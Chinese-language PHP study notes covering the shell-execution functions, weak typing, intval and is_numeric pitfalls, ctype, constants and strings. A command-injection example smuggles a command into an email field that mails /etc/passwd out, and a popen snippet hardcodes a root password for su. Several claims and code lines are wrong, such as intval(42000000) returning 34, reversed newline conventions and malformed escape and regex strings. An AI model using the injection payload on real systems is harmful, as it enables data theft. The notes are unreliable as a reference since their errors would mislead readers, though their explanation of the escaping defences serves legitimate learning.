如果要获取一个命令未经任何处理的原始输出,请使用passthru()函数。
如果提供return_var参数,则外部命令执行后的返回状态将会被设置到此变量中
system和exec的区别在于,system在执行系统外部命令时,直接将结果输出到游览器,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样
system("pwd"); # /mnt/e/wamp64/www/study/php
Last line of the output: ' . $last_line . '
Return value: ' . $retval;
【 passthru() 】
void passthru ( string $command [,int &$return_var ] )
执行给定的命令,但不返回任何输出结果,而是直接输出到显示设备上;第二个参数可选,用来得到命令执行后的状态码。
执行外部程序并且显示原始输出,没有返回值
如果提供return_var参数,Unix命令的返回状态会被记录到此参数
同exec()函数类似,passthru()函数也是用来执行外部命令command的。 当所执行的Unix命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代exec()或system()函数。 常用来执行诸如pbmplus之类的可以直接输出图像流的命令。 通过设置Content-type为image/gif,然后调用pbmplus程序输出gif文件,就可以从PHP脚本中直接输出图像到浏览器
passthru("ls -al",$var);
/*
total 344
drwxrwxrwx 1 berlin75 berlin75 4096 Jul 22 07:13 .
drwxrwxrwx 1 berlin75 berlin75 4096 Jun 15 15:30 ..
-rwxrwxrwx 1 berlin75 berlin75 5438 Sep 21 2017 add-array.php
drwxrwxrwx 1 berlin75 berlin75 4096 May 11 17:54 ajax_db
-rwxrwxrwx 1 berlin75 berlin75 664 Sep 20 2017 array.php
*/
【 shell_exec() 】
string shell_exec ( string $cmd )
通过shell环境执行命令,并且将完整的输出以字符串的方式返回,本函数同执行操作符反引号
当进程执行过程中发生错误或进程不产生输出的情况下都会返回NULL,所以使用本函数无法通过返回值检测进程是否成功执行。 如果需要检查进程执行的退出码,请使用exec()函数
当PHP运行在安全模式时不能使用此函数
【 反撇号 】
反撇号`(和~在同一个键)执行系统外部命令
在使用这种方法执行系统外部命令时,要确保shell_exec函数可用,否则是无法使用这种反撇号执行系统外部命令的
$res = `/bin/ls -l`;
echo "$res";
【 popen() 】
resource popen ( string $command ,string $mode )
用popen()函数打开进程
能够和命令进行交互。之前介绍的方法只能简单地执行命令,却不能与命令交互。有时须向命令输入一些东西,如在增加系统用户时要调用su来把当前用户换到root用户,而su命令必须要在命令行上输入root的密码。这种情况下用之前提到的方法显然是不行的。
popen( )函数打开一个进程管道来执行给定的命令,返回一个文件句柄,可以对它读和写。
返回值和fopen()函数一样,返回一个文件指针。
除非使用的是单一的模式打开(读or写),否则必须使用pclose()函数关闭。
该指针可以被fgets(),fgetss(),fwrite()调用。出错时返回FALSE。
# php中增加一个名为demo的用户
$sucommand = "su --login root --command";
$useradd = "useradd";
$rootpasswd = "123456";
$user = "demo";
$user_add = sprintf("%s /"%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
要考虑的问题: 安全性和超时
1)安全性
由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面 。
假设没有使用PHP的mail()函数就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:
system("mail $to < products.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
这段代码一般的用户不会产生什么危险,但存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail 123456@xx.com < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail 123456@xx.com < /etc/passwd ; < products.txt'
PHP提供了两个函数:escapeshellcmd()和escapeshellarg()。
函数escapeshellcmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。
函数escapeshellarg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
2)超时
当执行命令的返回结果非常庞大时,可以需要考虑将返回结果输出至其他文件再另行读取文件,这样可以显著提高程序执行的效率。
如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,像system()等函数要等到这个命令运行完才返回(实际上是在等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:
system("/usr/local/bin/order_proc > /tmp/null $;");
其他特殊函数:
【 syslog() 】 syslog ( int $priority ,string $message ) : bool Generate a system log message priority(优先级) is a combination of the facility and the level. Possible values are: syslog() Priorities (in descending order) Constant Description LOG_EMERG system is unusable LOG_ALERT action must be taken immediately LOG_CRIT critical conditions LOG_ERR error conditions LOG_WARNING warning conditions LOG_NOTICE normal,but significant,condition LOG_INFO informational message LOG_DEBUG debug-level message 【 睡眠函数 】 sleep(10)函数延迟代码执行10秒,成功返回0,否则false usleep(10) 函数延迟代码执行10微秒 time_sleep_until(timestamp) 函数延迟代码执行直到指定的时间 time_sleep_until(time()+10) 10秒后唤醒脚本 这几个睡眠函数有一定弊端,对于每个请求,php-fpm都是单进程阻塞式地响应。任何PHP的操作基本都是同步操作,与Js的机制截然不同。虽然Js也是单进程,但它可以做到事件轮询,触发式回调响应,因此不会造成阻塞。 真实案例,用户在发表评论的同时,可以上传多张图片。因为需要判断用户的图片是否已全部上传完毕,服务端觉得需要"等一等",等用户全部的图片都上传完毕后才能将评论内容连带图片一起fjtf持久化储存。它的做法是,在判断图片是否已上传完毕的接口里,最多等待10次,每等待一次就调用sleep()函数延缓执行1秒钟,然后每次都是检查图片是否上传完毕。此做法导致该接口每次响应的时间平均都是好几秒,最坏情况下去到10秒! 这种对sleep()不合理的调用,不仅导致了当前请求响应慢,会产生PHP慢调用外,当流量过大时,同样会出现上述全部php-fpm进程被占满导致系统不可用的故障。这是服务端资源的间接浪费,因为php-fpm进程无法及时释放出来做一些更有意义的事情。 假设,请求一次判断图片是否已上传完毕的接口,需要100毫秒。原来的做法,在服务端检测一次就等待1秒,即对于服务端来说,CPU的有效时间利用率只有9%,因为有1000毫秒是毫无用处,白白浪费的。 如果换一种做法,让客户端来轮询的话,那么虽然客户端会发起多次请求,最多会尝试10次。也就是把服务端的循环检测移到客户端来执行。那么,原来睡眠的1000毫秒,就可以释放出来服务其他请求或页面的请求。即剩下的91%的有效时间可以继续充分利用,继续响应其他请求,不至于被浪费。 【 php_sapi_name() 】 string php_sapi_name ( void ) var_dump(php_sapi_name()); //返回的字符串可用来判断脚本运行环境 返回web服务器和PHP之间的接口类型,描述PHP所使用的接口类型(the Server API,SAPI)的小写字符串。 PHP常量PHP_SAPI具有和php_sapi_name()相同的值 例如CLI的PHP下这个字符串会是"cli",Apache下可能会有几个不同的值,取决于具体使用的SAPI aolserver、apache、 apache2filter、apache2handler、 caudium、cgi(直到PHP5.3)、cgi-fcgi、cli、 cli-server、 continuity、embed、fpm-fcgi、 isapi、litespeed、 milter、nsapi、 phttpd、pi3web、roxen、 thttpd、tux和webjames cli-server -> php built-in webserver srv -> hhvm fpm-fcgi -> nginx + php-fpm cgi-fcgi -> nginx + fastcgi apache2handler -> apache cli -> cmd终端的php命令解析
【 uniqid() 】
string uniqid ([ string $prefix = "" [,bool $more_entropy = false ]] )
获取一个带前缀、基于当前时间微秒数的唯一ID
本函数不会生成安全加密的值,不应用于加密用途。如需安全加密的值则考虑使用openssl_random_pseudo_bytes()
由于基于系统时间,通过该函数生成的ID不是最佳的。如需生成绝对唯一的ID请使用md5()
prefix参数可选,规定唯一ID的前缀。如果两个脚本恰好在相同的微秒生成ID,该参数很有用
more_entropy参数可选,规定位于返回值末尾的更多的熵。这将让结果更具唯一性。当设置为TRUE返回字符串为23个字符,默认FALSE返回字符串为13个字符
echo uniqid(); // 5af56415a5c1e
printf("uniqid(): %s\r\n",uniqid()); // 4b3403665fea6
$prefix = 'php_';
$uniqid = $prefix . uniqid(); // php_5eef300b12f5b
$uniqid = uniqid($prefix); // 同上
printf("uniqid('',true): %s\r\n",uniqid('',true)); // 5eef30332721c9.27227183
function makeToken(){
return sha1(md5(uniqid(md5(microtime(true)), true))); // string(40) "a7bf1a8c17baa1dc98a96f9f66a95092e24211e9"
}
【 highlight_file() 】
highlight_file(filename,return)
对指定文件的内容进行PHP语法高亮显示。语法通过使用 HTML 标签进行高亮
提示: 用于高亮的颜色可通过php.ini文件进行设置或通过调用ini_set()函数进行设置
注释: 当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息
filename 必需。规定要显示的文件
return 可选。如果该参数设置为TRUE,该函数将以字符串形式返回高亮显示的代码,而不是直接进行输出,默认FALSE
【 strip_whitespace() 】
strip_whitespace(filename)
返回已删除PHP注释以及空白字符的源代码文件,该函数对于检测脚本中的实际代码量很有用,若成功,则返回被剥离的源代码,若失败则返回空字符串。
【 opcache_compile_file() 】
opcache_compile_file ( string $file ) : boolean
opcode缓存,把PHP脚本编译成二进制的opcode,如果file被成功编译则返回true或者在失败时返回false
可以用于在不用运行某个PHP脚本的情况下,编译该PHP脚本并将其添加到字节码缓存中去。 该函数可用于在Web服务器重启之后初始化缓存,以供后续请求调用
如果文件不能被载入或者不能被编译则会生成一个E_WARNING级别的错误,可以使用 @ 来抑制该警告
清空opcode缓存,可以使用opcache_reset函数,opcache_reset();
【 show_source() 】
highlight_file()的别名
【 highlight_string() 】
highlight_string(string,return)
对字符串进行PHP语法高亮显示,字符串通过使用HTML标签进行高亮
用于高亮的颜色可通过php.ini文件进行设置或通过调用ini_set()函数进行设置
string 必需,规定要高亮显示的字符串
return 可选,TRUE表示该函数将以字符串形式返回高亮显示的代码,而不是直接进行输出,默认FALSE
highlight_string("Hello world! ");
数据类型和变量
【 弱类型 】
php是弱类型类型语言
var_dump('admin' == 0); // true
var_dump('1admin' == 1); // true
var_dump('admin1' == 1); // false
var_dump('admin1' == 0); // true
var_dump('0e123456' == '0e654321'); // true
var_dump([] > 任何数字); // true
PHP在处理哈希字符串时,会利用"!="或"=="来对哈希值进行比较,它把每一个以"0E"开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以"0E"开头的,那么PHP将会认为他们相同,都是0
【 数据类型 】
1、标量
标量值不能拆分为更小的单元
int 大于php_int_zise将自动转化为float
float 精度: 左边第一个非0数字开始计算,只显示14位精度四舍五入
string 一个字符占用一个字节
Boolean
php > echo true; // 1
php > echo false; // 无输出
php > echo FALSE === false ? "yes" : "no"; // yes
php > yes // Warning
2、复合型
array、objet、null
3、特殊数据类型
resource(资源型)、null(null)
【 强制类型转化: (类型)变量 】
(int)$foo
intval($foo) // 内置函数,获取变量的整数值
sprintf("%d",$foo) // 格式化字符串方式
strval() // 获取变量的字符串值
string strval ( mixed $var )
返回var的string值,var可以是任何标量类型,不能将strval()用于数组或对象
PHP的数据类型转换属于强制转换,允许转换的PHP数据类型有:
int、integer: 转换成整形
float、double、real: 转换成浮点型
string: 转换成字符串
bool、boolean: 转换成布尔类型
array: 转换成数组
object: 转换成对象
PHP数据类型有三种转换方式:
在要转换的变量之前加上用括号括起来的目标类型
使用3个具体类型的转换函数,intval()、floatval()、strval()
使用通用类型转换函数settype(mixed var,string type)
int floatval(mixed var)
int intval(mixed var,int base)
var是要转换成整形的变量,base可选,是基础数,默认10
intval强转漏洞
PHP作为弱类型语言,类型转换时会有很大漏洞
转换时如果将字符串转换为整形,从字符串非整形的地方截止转换,如果无法转换,将会返回0
直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换
var_dump(intval('2')); //2
var_dump(intval('3abcd')); //3
var_dump(intval('abcd')); //0
var_dump(intval('2.4')); // int(2)
var_dump(intval('2.6')); // int(2)
var_dump(intval('+1.2')); // int(1)
var_dump(intval('-1.2')); // int(-1)
var_dump(intval(042)); // int(34)
var_dump(intval('042')); // int(42)
var_dump(intval(42, 8)); // int(42)
var_dump(intval('42', 8)); // int(34)
var_dump(intval(42000000)); // int(34)
var_dump(intval(4200000000000000000)); // int(0)
var_dump(intval('4200000000000000000')); // int(2147483647)
var_dump(intval(1e10)); // int(1410065408)
var_dump(intval('1e10')); // int(1)
var_dump(intval(0x1A)); // int(26)
var_dump(intval([])); // int(0)
var_dump(intval([3,2])); // int(1)
【 变量 】 PHP变量可以看作是存储数据的容器,以$符号开头,其后是变量的名称,变量名区分大小写,$y与$Y是两个不同的变量 变量名称必须以字母或下划线开头,不能以数字开头,只能包含字母数字字符和下划线(A-z、0-9及_),$this是一个特殊的变量,不能被赋值 PHP中不需要初始化变量,但对变量进行初始化是个好习惯 未初始化的变量具有其类型的默认值:布尔类型的变量默认FALSE,整形和浮点型变量默认零,字符串型变量默认空字符串,数组变量的默认空数组 变量默认传值赋值,将一个表达式的值赋予一个变量时整个原始表达式的值被赋值到目标变量 当一个变量的值赋予另外一个变量时,改变其中一个变量的值将不会影响到另外一个变量 PHP也提供了另外一种方式给变量赋值: 引用赋值,即新的变量简单的引用(指向)了原始变量,改动新的变量将影响到原始变量,反之亦然 php的引用赋值就是在变量或函数、对象等前面加上&符号,简单地将一个&符号加到将要赋值的变量前(源变量) 在PHP中引用的意思是:不同的名字访问同一个变量内容 引用的作用 如果程序比较大,引用同一个对象的变量比较多,并且希望用完该对象后手工清除它,个人建议用 "&" 方式,然后用$var=null的方式清除. 其它时候还是用php5的默认方式吧. 另外, php5中对于大数组的传递,建议用 "&" 方式, 毕竟节省内存空间使用。 取消引用 当unset一个引用,只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了。例如: $a = 1; $b =& $a; unset ($a); 不会unset $b,只是$a global引用 当用global $var声明一个变量时实际上建立了一个到全局变量的引用。也就是说和这样做是相同的: $var =& $GLOBALS["var"]; 这意味着,例如unset $var不会unset全局变量 如果在一个函数内部给一个声明为global的变量赋于一个引用,该引用只在函数内部可见。可以通过使用$GLOBALS数组避免这一点 $this 在一个对象的方法中,$this永远是调用它的对象的引用变量的引用函数的引用传递(传址调用)函数的引用返回
对象的引用 在PHP5中对象的赋值是个引用的过程,$b=new a; $c=$b; 其实等效于$b=new a; $c=&$b; PHP5中默认就是通过引用来调用对象,但有时可能想建立一个对象的副本,并希望原来的对象的改变不影响到副本,为了这样的目的,PHP5定义了一个特殊的方法__clone 自PHP5起new自动返回引用,因此在此使用=&已经过时了并且会产生E_STRICT级别的消息。 在php4中,对象的赋值是个拷贝过程,如$b=new a,其中new a产生的是一个匿名的a对象实例,而此时的$b是对这个匿名对象的拷贝。同理$c=$b,也是对$b内容的一个拷贝。所以在php4中,为了节省内存空间,$b=new a 一般会改成引用的模式,即 $b=& new a。
【 变量的作用域 】 变量的作用域指的是变量能够被引用/使用的那部分脚本 变量的范围即变量定义的上下文背景即生效范围,大部分的PHP变量只有一个单独的范围。这个单独的范围跨度同样包含了include和require引入的文件 $a = 1; include 'b.inc'; 这里变量$a将会在包含文件b.inc中生效 PHP有三种不同的变量作用域: local(局部) 函数内部声明的变量拥有local作用域,只能在函数内部进行访问 global(全局) 函数之外声明的变量拥有global作用域,只能在函数以外进行访问 static(静态局部变量) 静态变量仅在局部函数域中存在,但当程序执行离开此作用域时其值并不丢失这个脚本不会有任何输出,因为echo语句引用了一个局部变量$a,而且在这个范围内它并没有被赋值全局变量在函数中使用时必须声明为global关键字或$GLOBALS数组
通常当函数执行后会删除所有变量,若需要不删除某个局部变量应该在首次声明变量时使用static关键词 静态局部变量的值只能是标量值,不能用表达式赋值 普通局部变量在每次函数调用时都会初始化 静态局部变量只在函数首次调用时初始化,可以用作静态计数器静态变量提供了一种处理递归函数的方法,以下这个简单的函数递归计数到10,使用静态变量$count来判断何时停止
变量的相关操作
【 var_dump() 】
void var_dump( mixed $expression [,mixed $... ] )
打印变量的相关信息
【 isset() 】
bool isset ( mixed $var [,mixed $... ] )
检测变量是否已设置并且非NULL,可以传入多个变量,若其中一个变量不存在则返回假
isset()不仅会在变量不存在的时候返回false,在变量值为null的时候也会返回false
isset($var)无法判断$var为null,更严谨的做法是通过结合 array_key_exists() 和 get_defined_vars() 能更加可靠的判断一个变量在当前作用域中是否存在:
if (array_key_exists('varShouldBeSet', get_defined_vars())) { echo "variable $varShouldBeSet exists in current scope"; }
isset()只能用于变量,因为传递任何其它参数都将造成解析错误。若想检测常量是否已设置可使用defined()函数
因为是一个语言构造器而不是一个函数,不能被可变函数调用。
如果使用isset()来检查对象无法访问的属性,如果__isset()方法已经定义则会调用这个重载方法。
简化写法
$a = [];
var_dump(isset($a['s']) && isset($a['s']['sd'])); // bool(false)
var_dump(isset($a['s']['sd'])); // bool(false)
empty: 判断一个变量是否为空,null、false、00、0、'0′都会返回true
isset: 判断一个变量是否设置,值为false、00、0、'0′也会返回true
对于数组中的元素也同样有效在字符串位移中使用isset()【 unset() 】 void unset ( mixed $var [,mixed $... ] ) 释放/销毁给定的变量,删除变量之后变量没设置,没有返回值 因为是一个语言构造器而不是一个函数,不能被可变函数调用 在unset()一个无法访问的对象属性时,如果定义了__unset()则对调用这个重载方法。 unset ($foo); // 销毁单个变量 unset ($bar['quux']); // 销毁单个数组元素 unset($foo1,$foo2,$foo3); // 销毁一个以上的变量 使用(unset)类型强制转换 (unset)类型强制转换常常和函数unset()引起困惑 为了完整性(unset)是作为一个NULL类型的强制转换,不改变变量的类型。 $name = 'Felipe'; var_dump((unset) $name); // NULL var_dump($name); // string(6) "Felipe" unset()在函数中的行为会依赖于想要销毁的变量的类型而有所不同函数中调用unset()
【 empty() 】 bool empty ( mixed $var ) 检测一个变量是否为空,变量不存在或值为false、null等返回true,只能用���变量 if($a)效果等同if(!empty($a)),但如果变量$a未定义不存在,if($a)将报告一个警告,if(!empty($a))不会产生警告 当对一个不可见的对象属性使用empty()时,__isset()方法如果存在的话,它将会被调用 当var存在并且是一个非空非零的值时返回FALSE,否则返回TRUE 以下的东西被认为是空的: "" (空字符串) 0 (作为整数的0) 0.0 (作为浮点数的0) "0" (作为字符串的0) NULL FALSE array() (一个空数组) $var; (一个声明了,但是没有值的变量)
gettype($var) 判断变量类型,返回字符串
is_bool()
is_null() 检测变量
is_array() 检测变量
is_string() 检测变量
is_numeric() 判断变量是否为数字或数字字符串 var_dump(is_numeric('0.11')); // bool(true)
is_int() 检测变量
is_integer() is_int()的别名
is_long() is_int()的别名
is_float() 检测变量
is_double() is_float()的别名
is_real() is_float()的别名
is_object() 检测变量
is_callable()
is_resource() 判断变量是否为resource类型
is_countable()
is_iterable()
is_null()
is_scalar() 检测变量是否是标量,标量变量指包含了integer、float、string或boolean的变量,array、object和resource不是标量
is_numeric漏洞
会忽视0x这种十六进制的数,容易引发sql注入操作,暴漏敏感信息
is_numeric(233333) // true
is_numeric('233333') // true
is_numeric(0x233333) // true
is_numeric('0x233333') // false
is_numeric('233333abc')//false
16进制数0x61646D696EASII码对应的值是admin,如果执行了后面这条命令的话:SELECT * FROM tp_user where username=0x61646D696E,结果不言而喻
instanceof
判断一个对象是否是某个类的实例,判断一个对象是否实现了某个接口。
var_dump($obj instanceof ClassA));
var_dump($exampleInstance instanceof ExampleInterface);
【 Ctype扩展 】
该扩展所提供的函数用来检测在当前的区域设定下(参见setlocale()),一个字符或字符串是否仅包含指定类型的字符。
当使用整数作为参数调用这些函数的时候,这些函数的行为和C语言(ctype.h) 中的对应函数一样,如果传入了小于256的整数参数,它会把这个整数当做 ASCII 码值来检测对应字符是否符合要求(数值检测的ASCII值范围为0x30-0x39)。 如果传入的参数介于-128和-1之间(含-128和-1),它会先将其加上256,然后再进行检测。
当传入参数为字符串的时候,它会对字符串中的每个字符进行检测, 仅当字符串中的每个字符都符合指定条件的情况下才会返回TRUE。PHP5.1之前,如果传入空字符串总是会返回TRUE, 从PHP5.1开始传入空字符串总是会返回FALSE
传入除整数和字符串之外的参数会立即返回FALSE
如果可以满足需求,请优先考虑使用ctype函数, 而不是正则表达式或者对应的"str_*"和"is_*"函数,因为ctype使用的是原生C库,所以会有明显的性能优势
ctype_alnum()
ctype_alnum ( string $text ) : bool
检查提供的string,text是否全部为字母和(或)数字字符
preg_match('/^[a-zA-Z0-9]+$/', $string);
ctype_alnum($string); // 替代方法快了7.5倍
ctype_alpha()
ctype_alpha ( string $text ) : bool
做纯字符检测,等同于 (ctype_upper($text) || ctype_lower($text))
ctype_cntrl()
ctype_cntrl ( string $text ) : bool
做控制字符检测,控制字符就是例如:换行、缩进、空格。\n\r\t
ctype_digit()
ctype_digit ( string $text ) : bool
做纯数字检测,1820.20返回false
ctype_graph()
ctype_graph ( string $text ) : bool
做可打印字符串检测,空格除外,检查提供的 string 和 text 里面的字符输出都是可见的。
ctype_lower()
ctype_lower ( string $text ) : bool
做小写字符检测
ctype_print()
ctype_print ( string $text ) : bool
做可打印字符检测
ctype_punct()
ctype_punct ( string $text ) : bool
检测可打印的字符是不是不包含空白、数字和字母,检查提供的 string 和 text 里面的字符是不是都是标点符号
ctype_space()
ctype_space ( string $text ) : bool
做空白字符检测
ctype_upper()
ctype_upper ( string $text ) : bool
做大写字母检测
ctype_xdigit()
ctype_xdigit ( string $text ) : bool
检测字符串是否只包含十六进制字符,如'AB10BC99', 'ab12bc99'
【 is_callable() 】
bool is_callable ( callable $name [,bool $syntax_only = false [,string &$callable_name ]] )
检测参数是否为合法的可调用结构,验证$name变量的内容能否作为函数调用,这可以检查包含有效函数名的变量或一个数组,包含了正确编码的对象以及函数名。
name参数是要检查的回调函数
syntax_only参数如果设置为TRUE则这个函数仅仅验证name可能是函数或方法。它仅仅拒绝非字符或未包含能用于回调函数的有效结构。有效的应该包含两个元素,第一个是一个对象或字符,第二个元素是个字符。
callable_name参数表示接受"可调用的名称"。下面的例子是"someClass::someMethod"。 尽管someClass::SomeMethod()的含义是可调用的静态方法,但例子的情况并不是这样的
【 defined() 】 检测常量是否已设置 【 get_defined_vars() 】 array get_defined_vars ( void ) 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量 输出结果根据SAPI会有不同
【 get_resource_type() 】 string get_resource_type ( resource handle) 返回资源(resource)类型字符串,用于表示传递给它的resource的类型,如果参数不是合法的resource将产生错误
常量
常量是单个值的标识符(名称),在脚本中无法改变该值 有效的常量名以字符或下划线开头,常量名称前面没有$符号 与变量不同,常量贯穿整个脚本是自动全局的 【 define() 】 bool define ( string $name ,mixed $value [,bool $case_insensitive = false ] ) 定义一个常量,成功时返回TRUE,失败时返回FALSE name参数表示常量名。 value参数表示常量的值,PHP5中value必须是标量(integer、float、string、boolean、NULL),PHP7中还允许是个array的值。常量还可以定义为resource类型,但并不推荐这样做,因为可能会有不可预知的行为发生。 case_insensitive参数为TRUE表示该常量大小写不敏感,默认是大小写敏感的。比如CONSTANT和Constant代表了不同的值。大小写不敏感的常量以小写的方式储存。 【 defined() 】 bool defined ( string $name ) 检查某个名称的常量是否存在 【 constant() 】 mixed constant ( string $name ) 返回一个常量的值,如果常量未定义则返回NULL和产生一个E_WARNING级别的错误,name表示常量名 当不知道常量名却需要获取常量的值时constant()就很有用,也就是常量名储存在一个变量里,或者由函数返回常量名。 该函数也适用class constants
【 const常量关键字 】
常量是一个简单值的标识符,常量值被定义后,默认是全局变量,可以在整个运行的脚本的任何地方使用,但是不能改变
1、声明定义常量
const 常量标识符=常量值,常量标识符通常大写,区分大小写,如: const NAME='lisi';
在类内部定义,按照静态属性在类的内外部调用,类常量
在类外部定义,直接使用,等于define('NAME','lisi')
2、使用define()函数设置常量
define("GREETING","欢迎访问");
echo GREETING; // "欢迎访问"
【 const和define() 】
const一般用于类成员常量的定义,定义之后不可改,define不用于类成员变量的定义,一般用于定义全局常量
const不能在条件语句中定义常量
const采用一个普通常量名称,define可以采用任何表达式
const只能接受静态的标量,define可以采用任何表达式
const定义的常量区分大小写,define可以通过第三个布尔值参数指定是否区分
可以把在类中始终保持不变的值定义为常量,在定义和使用常量的时候不需要使用$符号
常量的值必须是一个定值,不能是变量,类属性,数学运算的结果或函数调用
可以用一个变量来动态调用类,但该变量的值不能为关键字如self,parent或static
PHP5.3+定义一个常量有两种方法,一个是用const关键字,一个是使用define函数
const FOO = 'BAR';
define('FOO', 'BAR');
这两种方式之间的根本区别是const在编译时定义常量,而define在运行时定义常量,这导致了大多数const的缺点
1 - const不能用于有条件地定义常量。要定义全局常量,必须在最外层范围中使用它:
if(true) const FOO = 'BAR'; // 无效
if(true) define('FOO', 'BAR'); // 有效
if(!defined('FOO')) define('FOO', 'BAR'); // 常见的应用是检查常量是否已经定义
2 - const只能接受一个静态标量(数字,字符串或其它常量值true,false,null,__FILE__),而define()可使用任何表达式。
const BIT_5 = 1 << 5; // VPHP5.6以下版本均无效
define('BIT_5', 1 << 5); // 有效
3 - const只能采用简单的常量名称,而define()接受任何表达式作为名称。这样可以执行以下操作:
for ($i = 0; $i < 32; ++$i) define('BIT_' . $i, 1 << $i);
4 - consts始终区分大小写,而define()允许您通过将其true作为第三个参数传递来定义不区分大小写的常量。
define('FOO', 'BAR', true);
echo FOO; // BAR
echo foo; // BAR
const的优点
除了上述const的缺点外,一般都会坚持使用const
1 - const使代码更好读。
它是一种语言构造,而不是函数,并且与在类中定义常量的方式保持一致,const定义类常量对于IDE的自动索引也极为友好
2 - const作为一种语言构造,可以通过自动化工具进行静态分析。
3 - const在当前名称空间中定义一个常量,同时define()必须传递完整的名称空间名称:
namespace A\B\C; // 定义常量 A\B\C\FOO:
const FOO = 'BAR';
define('A\B\C\FOO', 'BAR');
4 - 常量数组,PHP7通过使用define()函数定义Array类型的常量,PHP5.6只能使用const关键字来定义数组类型的常量。
const FOO = [1, 2, 3]; // PHP 5.6 及以上有效
define('FOO', [1, 2, 3]); // PHP 7.0 及以上有效
define('fruit', [ 'apple', 'orange', 'banana' ]);
print(fruit[1]); // orange
5 - const还可以在类或接口内使用它来定义类常量或接口常量。define没这功能。
class Foo {
const BAR = 2; // 完全支持
}
class Baz {
define('QUX', 2); // 不能这么写
}
【 php中的常量 】
所有在核心扩展的常量是PHP默认定义的
get_defined_constants() 获取所有PHP常量
echo PHP_VERSION; 内建常量,是PHP程序的版本 // 5.6.16
echo PHP_OS; 内建常量,指执行PHP解析器的操作系统名称 // WINNT
PHP_EOL
换行符:unix用\n;windows用\r\n;mac用\r;PHP中可以用PHP_EOL替代,以提高代码的源代码级可移植性
PHP_EOL是文本换行,不是html换行
\n 软回车
在Windows中表示换行且回到下一行的最开始位置,在Linux、unix中只表示换行但不会回到下一行的开始位置
\r 软空格
在Linux、unix 中表示返回到当行的最开始位置,在Mac OS中表示换行且返回到下一行的最开始位置,相当于Windows里的\n的效果
\t 跳格(下移一列)
它们在双引号或定界符表示的字符串中有效,在单引号表示的字符串中无效
\r\n 一般一起用,用来表示键盘上的回车键(Linux,Unix中),也可只用\n(Windwos中),在Mac OS中用\r表示回车
\t表示键盘上的"TAB"键
文件中的换行符号: windows : \n,linux,unix: \r\n
PHP去除换行符 AND PHP_EOL变量的使用PATH_SEPARATOR 目录分割符,类似于path环境变量,在linux上是一个":"号,WIN上是一个";"号 DIRECTORY_SEPARATOR 代表反斜杠,windows和linux反斜杠不一样,Windows中斜线(/)和反斜线(\)都可以用作目录分隔符,在linux上路径的分隔符是"/"
web服务器与PHP之间的接口为(PHP_SAPI) echo PHP_SAPI; //结果为fpm-fcgi,使用nginx + php-fpm //结果为cgi-fcgi,使用nginx + fastcgi //结果为apache2handler,使用apache //结果为cli,直接使用终端的php命令解析 最大的整型数(PHP_INT_MAX) // 2147483647 指向最近的错误处(E_ERROR) // 1 指向最近的警告处(E_WARNING) // 2 指向最近的注意处(E_NOTICE) // 8 自然对数e值(M_E) // 2.718281828459 数学上的圆周率的值(M_PI) // 3.1415926535898 逻辑真值(TRUE) // 1 逻辑假值(FALSE) // "" 当前文件行数(__LINE__) 当前文件路径名(__FILE__) 当前被调用的函数名(__FUNCTION__) 类名(__CLASS__) 类的方法名(__METHOD__)
string
一个字符串string是由一系列字符组成,其中每个字符等同于一个字节,这意味着PHP只能支持256的字符集,因此不支持Unicode,string最大可达到2GB 定义字符串: 一个字符串可以用4种方式表达: 1.单引号:不会解析字符串中的php变量和特殊字符的转义序列 2.双引号:会解析字符串中的php变量和特殊字符,如果需要打印一个变量的值则必须使用双引号 3.heredoc语法结构就像是没有使用双引号的双引号字符串,<<< 标识符,能够定义包含多行的字符串 结束时所引用的标识符必须在该行的第一列,标识符的命名也要像其它标签一样遵守PHP的规则: 只能包含字母、数字和下划线,不能数字开头
4.nowdoc语法结构类似单引号,<<< 标识符,不会解析变量,这种结构很适合用于嵌入PHP代码或其它大段文本而无需对其中的特殊字符进行转义 一个nowdoc结构也用和heredocs结构一样的标记<<<,但跟在后面的标识符要用单引号括起来即<<<'EOT'。Heredoc结构的所有规则也同样适用于nowdoc结构,尤其是结束标识符的规则。
字符串中的变量解析
PHP字符串最强大的部分就是变量解析,可以在运行时根据上下文解析变量(这才是解释型语言),可以产生很多妙用
简单的变量解析就是在字符串中可以包含变量、数组、对象属性,复杂的语法规则就是使用{}符号来进行操作组成一个表达式
字符串中变量定界{$变量},和点号拼接字符串
由于{无法被转义,只有$紧挨着{时才会被识别,可以用 {\$ 来表达 {$
因为有效的HTML常包括许多用双引号括住的属性,所以当利用PHP打印HTML时使用单引号最容易
echo 'table width="200" border="1" cellspacing="5" cellpadding="2" align="center" ';
如果想使用双引号打印出上面这段HTML代码,将不得不对字符串中的所有双引号进行转义,所以相对来说较麻烦
单引号和双引号混用也可以在字符串中用此语法通过变量来调用类的属性
【 换行符 】
换行符:unix用\n;windows用\r\n;mac用\r;PHP中可以用PHP_EOL替代,以提高代码的源代码级可移植性
$str = str_replace(array("/r/n","/r","/n"),"",$str); // 使用str_replace来替换换行
$str = preg_replace('//s*/','',$str); // 使用正则替换
$str = str_replace(PHP_EOL,'',$str); // 使用php定义好的变量PHP_EOL(建议使用)
【 转义字符 】
\n 换行(ASCII字符集中的LF或0x0A (10))
\r 回车(ASCII字符集中的CR或0x0D (13))
\t 水平制表符(ASCII字符集中的HT或0x09 (9))
